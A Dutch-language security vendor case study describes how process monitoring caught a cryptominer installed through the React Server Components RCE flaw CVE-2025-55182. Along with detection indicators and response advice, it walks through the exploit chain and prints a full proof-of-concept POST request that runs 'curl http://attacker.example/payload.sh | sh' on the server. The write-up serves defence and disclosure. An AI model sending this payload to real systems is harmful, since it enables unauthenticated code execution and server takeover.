Detectie van een cryptominer geïnstalleerd via React CVE-2025-55182
Een praktijkvoorbeeld: Hoe de verdachte procesdetectie van MonitorVPS een cryptominer ontdekte die aanvallers hadden geïnstalleerd na misbruik van een kritieke React Server Components-kwetsbaarheid.
Een MonitorVPS-klant ontdekte onlangs een cryptominer-infectie op zijn server dankzij ons systeem voor detectie van verdachte processen. De aanval kwam voort uit CVE-2025-55182, een kritieke kwetsbaarheid voor remote code execution in React Server Components met een CVSS-score van 10.0. Deze casestudy onderzoekt hoe de aanval zich ontvouwde en waarom continue procesmonitoring detecteerde wat traditionele beveiligingsmaatregelen misten.
De waarschuwing
Op 6 januari 2026 ontving een MonitorVPS-klant een e-mailwaarschuwing en webhookmelding over hun productieserver "web01" gehost in San Francisco:
Verdacht proces gedetecteerd op web01
Een proces dat overeenkomt met bekende malware-handtekeningen of verdachte patronen is gedetecteerd.
- Proces: cCxf
- PID: 63891
- Gebruiker: root
- Commando:
/root/GZ5pBwko/cCxf -o www.githubabout.top:80 --tls
De waarschuwing markeerde vier verschillende dreigingsindicatoren, waardoor een onmiddellijke melding werd geactiveerd. Dankzij de e-mail- en webhookwaarschuwingen kon de klant binnen enkele minuten reageren. Zonder deze geautomatiseerde waarschuwingen had de infectie onopgemerkt kunnen doorgaan, met het kwaadaardige proces dat dagen of zelfs weken draaide.
Wat MonitorVPS detecteerde
De detectie van verdachte processen van MonitorVPS identificeerde vier kritieke indicatoren die samen sterk wezen op kwaadaardige activiteit:
1. Verdacht commandopatroon
De opdrachtregelargumenten -o www.githubabout.top:80 --tls komen overeen met patronen die vaak worden gebruikt door cryptocurrency-miners. De -o parameter specificeert doorgaans een mining pool serververbinding.
2. Verdacht uitvoerbaar pad
Het binaire bestand bevond zich op /root/GZ5pBwko/cCxf in de home-directory van de root-gebruiker. Legitieme software wordt doorgaans geïnstalleerd op standaardlocaties zoals /usr/bin, /usr/local/bin of /opt. Uitvoerbare bestanden in gebruikersdirectory's zijn een veelvoorkomende indicator van ongeautoriseerde software.
3. Padsegment met hoge entropie
De mapnaam GZ5pBwko is een willekeurige alfanumerieke string ontworpen om eenvoudige patroongebaseerde detectie te ontwijken. Aanvallers gebruiken vaak willekeurig gegenereerde namen om hun malware moeilijker vindbaar te maken via basis bestandszoekopdrachten.
4. Onbekend proces met hoog resourcegebruik
Het proces verbruikte aanzienlijke CPU-resources maar kwam niet overeen met bekende legitieme software-handtekeningen. Vijf instanties van hetzelfde proces draaiden gelijktijdig en maximaliseerden de rekenbronnen van de server voor mining.
De aanvalsvector: CVE-2025-55182
Onderzoek onthulde dat de aanvallers toegang kregen via CVE-2025-55182, een kritieke kwetsbaarheid in React Server Components die de maximale CVSS-score van 10.0 ontving. Deze score is gereserveerd voor kwetsbaarheden die geen authenticatie vereisen, geen gebruikersinteractie nodig hebben en een directe weg naar remote code execution bieden.
React Server Components begrijpen
React Server Components (RSC) verminderen client-side JavaScript door data-intensieve logica op de server af te handelen. Ze communiceren via een serialisatieprotocol genaamd "React Flight", dat complexe datastructuren tussen client en server verzendt. Wanneer een client data nodig heeft die door een servercomponent wordt gerenderd, stuurt het een verzoek naar een server-endpoint met geserialiseerde "chunks" van data.
De oorzaak: Onveilige deserialisatie
De kwetsbaarheid bestaat in React's reviveModel functie binnen ReactFlightReplyServer.js. De kritieke fout zit in hoe de server inkomende data valideert:
for (i in value)
value.hasOwnProperty(i) && ...
De server vertrouwt de inkomende payload te veel. In plaats van te valideren dat data van legitieme client-side code komt, probeert het alles te deserialiseren wat de gebruiker stuurt. Door value.hasOwnProperty(i) aan te roepen op een niet-vertrouwd object, kan een aanvaller deze eigenschap overschaduwen met een kwaadaardige referentie, de beveiligingscontrole volledig omzeilen en toegang krijgen tot prototype-keten-eigenschappen zoals constructor en __proto__.
De vierfasen-exploitketen
De exploitatie volgt een geavanceerde vierfasenketen die JavaScript's duck-typing en dynamische code-uitvoering misbruikt:
- Zelfreferentielus creëren: Met het
$@prefix om toegang te krijgen tot ruwe chunk-objecten, creëert de aanvaller circulaire referenties die interne React-objecten blootstellen. - Automatische uitvoering triggeren: JavaScript's
awaitroept automatisch.then()methoden aan op Promise-achtige objecten. Doorthente laten wijzen naar React's interne chunk-afhandeling, kaapt de aanvaller dit mechanisme. - Kwaadaardige data injecteren: Door de status op
resolved_modelte zetten, wordt React misleid ominitializeModelChunk()aan te roepen, die de payload van de aanvaller parseert. - Code uitvoeren via blob-handler: Het
$Bprefix activeert React's blob-handler, die.get()aanroept op een door de aanvaller gecontroleerd object dat wijst naar de Function-constructor, waardoor willekeurige code-uitvoering mogelijk wordt.
Proof of Concept
De aanval vereist niets meer dan een enkele HTTP POST-aanvraag naar een kwetsbaar RSC-endpoint:
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----FormBoundaryKj7mVpR4xN2qYz
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B0\"}","_response":{"_prefix":
"process.mainModule.require('child_process').execSync(
'curl http://attacker.example/payload.sh | sh');",
"_formData":{"get":"$1:constructor:constructor"}}}
------FormBoundaryKj7mVpR4xN2qYz
Content-Disposition: form-data; name="1"
"$@0"
------FormBoundaryKj7mVpR4xN2qYz--
Dit is pre-authenticatie-exploitatie: het gebeurt tijdens deserialisatie voordat een aangevraagde Server Action wordt gevalideerd. Elke Next-Action headerwaarde activeert het kwetsbare codepad. De aanvaller krijgt volledige Node.js-context met toegang tot process, child_process, het bestandssysteem en alle omgevingsvariabelen inclusief database-inloggegevens en API-sleutels.
Getroffen versies
De kwetsbaarheid treft React-versies 19.0, 19.1.0, 19.1.1 en 19.2.0. Veel frameworks bevatten deze pakketten indirect, wat betekent dat een groot aantal deployments getroffen kan zijn zonder dat ontwikkelaars wisten dat ze kwetsbare componenten gebruikten.
Voor een diepere technische analyse van in-the-wild exploitatie en actieve malwarecampagnes die deze kwetsbaarheid benutten, zie het uitgebreide onderzoeksrapport van Trend Micro.
De aanvalsketen
Op basis van forensische analyse volgde de aanval deze volgorde:
- Verkenning: Aanvallers scanden naar servers met kwetsbare React Server Components-endpoints.
- Exploitatie: Een kwaadaardige Flight-payload werd verzonden om remote code execution te bereiken.
- Payload-levering: De RCE werd gebruikt om een cryptominer-binary te downloaden naar
/root/GZ5pBwko/. - Mining Pool: De miner werd geconfigureerd om verbinding te maken met
www.githubabout.top:80met TLS-encryptie. - Resource-kaping: Meerdere instanties werden gestart om CPU-gebruik te maximaliseren voor cryptocurrency-mining.
Aanbevolen reactie
Zoals wij graag zeggen: „Een gecompromitteerde server is een ontmantelde server."
Bij het ontdekken van een actieve compromittering zoals deze is de prioriteit inperking en onderzoek:
- Isoleer de getroffen server om laterale beweging of data-exfiltratie te voorkomen.
- Onderzoek de omvang van de compromittering door logs en andere systemen te bekijken.
- Bij ernstige infecties, herbouwen vanaf nul is vaak de veiligste aanpak, aangezien aanvallers mogelijk extra achterdeuren hebben geïnstalleerd.
- Patch kwetsbare afhankelijkheden voordat systemen weer online worden gebracht.
Waarom monitoring belangrijk is
Deze zaak demonstreert verschillende kritieke punten over serverbeveiliging:
- Traditionele beveiligingstools kunnen actieve dreigingen missen. Zonder procesmonitoring had de cryptominer weken of maanden kunnen draaien voordat iemand het verhoogde CPU-gebruik opmerkte.
- Zero-day exploits omzeilen perimeterverdediging. CVE-2025-55182 was een pre-authenticatie kwetsbaarheid die geen inloggegevens vereiste. Firewalls en authenticatiesystemen konden het niet voorkomen.
- Realtime-waarschuwingen maken snelle respons mogelijk. De e-mail- en webhookmeldingen betekenden dat de klant onmiddellijk van de dreiging wist, niet tijdens hun volgende geplande onderhoudsvenster.
- Vroege detectie minimaliseert schade. Hoe sneller je van een compromittering weet, hoe sneller je kunt reageren. Uren van mining is veel beter dan maanden.
Je servers beschermen
Om je te beschermen tegen soortgelijke aanvallen:
- Houd afhankelijkheden bijgewerkt. Het React-team bracht snel patches uit na de bekendmaking van CVE-2025-55182. Up-to-date blijven is je eerste verdedigingslinie.
- Audit je afhankelijkheidsboom. Je gebruikt mogelijk indirect kwetsbare pakketten via je framework of andere bibliotheken.
- Gebruik continue procesmonitoring. Tools zoals MonitorVPS bieden zichtbaarheid in wat er daadwerkelijk op je servers draait.
- Configureer waarschuwingen voor verdachte processen. Geautomatiseerde detectie vangt dreigingen op terwijl je niet actief monitort.
- Implementeer verdediging in de diepte. Geen enkele beveiligingsmaatregel is voldoende. Combineer meerdere beschermingen voor uitgebreide dekking.
Conclusie
Deze praktijkcase laat zien hoe snel aanvallers kritieke kwetsbaarheden kunnen bewapenen en hoe procesmonitoring dient als een essentiële detectielaag. De server van de klant werd gecompromitteerd door een geavanceerde supply-chain kwetsbaarheid in een veelgebruikt framework, maar continue monitoring detecteerde de resulterende kwaadaardige activiteit en waarschuwde hem onmiddellijk via e-mail en webhook.
Serverbeveiliging gaat niet alleen over het voorkomen van inbreuken. Het gaat ook over het snel detecteren ervan wanneer preventie faalt. Met kwetsbaarheden zoals CVE-2025-55182 die populaire frameworks treffen, is zichtbaarheid in de processen van je server niet langer optioneel. Het is een fundamentele vereiste voor het onderhouden van veilige infrastructuur.